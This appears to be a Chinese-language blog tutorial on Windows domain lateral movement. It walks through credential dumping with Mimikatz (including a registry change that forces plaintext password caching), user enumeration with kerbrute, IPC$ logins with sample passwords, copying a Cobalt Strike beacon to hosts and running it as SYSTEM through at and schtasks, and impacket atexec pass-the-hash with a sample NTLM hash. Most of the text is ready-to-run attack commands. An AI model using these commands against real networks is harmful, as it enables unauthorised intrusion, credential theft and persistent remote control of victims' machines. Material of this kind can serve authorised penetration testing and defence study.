#横向移动入口知识点:
收集到域内用户和凭据后,为后续利用各种协议密码喷射通讯上线提供条件,首先判断当前被控机在域内还是域外,收集方法会有所差异。
1、当前被控处于域内还是域外
-在域内
获取域内用户及凭据
-不在域内
手法1:尝试提权
先尝试能否利用漏洞提权到system(system可以正常和域内通讯)
手法2:当前凭据为明文密码还是HASH Minikatz
当系统为win10或者2012R2以上,内存中默认禁止缓存明文密码,可通过修改注册表的方式进行抓取,但需重启后重新登录时才能抓取。
判断版本 :低于Windows Server 2012 直接抓取明文密码并且可以用抓取到的明文密码切换到域内用户上线
注意:如果是域内用户想要抓取内存中的凭据需要提升到system权限
手法3:枚举域内用户
枚举工具:https://github.com/ropnop/kerbrute
kerbrute_windows_amd64.exe userenum –dc ip -d 域名 字典文件
#横向移动凭据知识点:
手法1:IPC域内移动测试:
IPC$(Internet Process Connection)是共享”命名管道”的资源,它是一个用于进程间通信的开放式命名管道,通过提供一个可信的用户名和密码,连接双方可以建立一个安全通道并通过这个通道交换加密数据,从而实现对远程计算机的访问。需要使用目标系统用户的账号密码,使用139、445端口。
需要的条件
1:防火墙是否允许打印机和文件共享的通讯
2:对方电脑是否开启打印机和文件共享功能
IPC攻击步骤:
0、上线配置
正向:正向监听器beacon_bind_tcp->beacon.exe 连接目标 connect 192.168.3.32 4444
反向:代理转发->转发上线->beacon.exe
1. 建立IPC链接到目标主机
域内用户权限测试:webadmin权限
net use \\192.168.3.32\ipc$ “admin!@#45” /user:sqlserver\administrator
net use \\192.168.3.32\ipc$ “admin!@#45” /user:god\dbadmin
net use \\192.168.3.32\ipc$ “admin!@#45” /user:administrator
域外用户权限测试:administrator权限
net use \\192.168.3.32\ipc$ “admin!@#45” /user:administrator //登录本机administrator用户
net use \\192.168.3.32\ipc$ “admin!@#45” /user:sqlserver\administrator //登录sqlserver机器的administrator用户
net use \\192.168.3.32\ipc$ “admin!@#45” /user:god\dbadmin //登录god域的administrator用户
2. 拷贝要执行的命令脚本到目标主机
copy \\xx.xx.xx.xx\C$\1.bat 1.bat # 下载文件
copy 1.bat \\xx.xx.xx.xx\C$ # 复制文件
3. 查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本
[at] & [schtasks]计划任务配合
1、at < Windows2012
copy beacon.exe \\192.168.3.21\c$ #拷贝执行文件到目标机器
at \\192.168.3.21 15:47 c:\beacon.exe #添加计划任务
2、schtasks >=Windows2012
copy beacon.exe \\192.168.3.32\c$ #拷贝执行文件到目标机器
schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn beacon /sc DAILY /tr c:\beacon.exe /F #创beacon任务对应执行文件
schtasks /run /s 192.168.3.32 /tn beacon /i #运行beacon任务
schtasks /delete /s 192.168.3.32 /tn beacon /f#删除beacon任务
4. 删除IPC链接
net use \\xx.xx.xx.xx\C$\1.bat /del # 删除IPC
net view xx.xx.xx.xx # 查看对方共享
#建立IPC失败的原因
(1)目标系统不是NT或以上的操作系统
(2)对方没有打开IPC$共享
(3)对方未开启139、445端口,或者被防火墙屏蔽
(4)输出命令、账号密码有错误
#建立IPC常见的错误代码
(1)5:拒绝访问,可能是使用的用户不是管理员权限,需要先提升权限
(2)51:网络问题,Windows 无法找到网络路径
(3)53:找不到网络路径,可能是IP地址错误、目标未开机、目标Lanmanserver服务未启动、有防火墙等问题
(4)67:找不到网络名,本地Lanmanworkstation服务未启动,目标删除ipc$
(5)1219:提供的凭据和已存在的凭据集冲突,说明已建立IPC$,需要先删除
(6)1326:账号密码错误
(7)1792:目标NetLogon服务未启动,连接域控常常会出现此情况
(8)2242:用户密码过期,目标有账号策略,强制定期更改密码
#域横向移动-IPC-工具版-插件&impacket
1、CS插件LSTARS-横向移动-IPC连接 采用默认命令调用执行,不需socks代理
2、impacket(套件) 该工具是一个半交互的横向移动工具,适用于Socks代理下;
https://github.com/fortra/impacket
python atexec.py god/administrator:Admin12345@192.168.3.21 “ver”
python atexec.py -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 “whoami”
评论(0)
暂无评论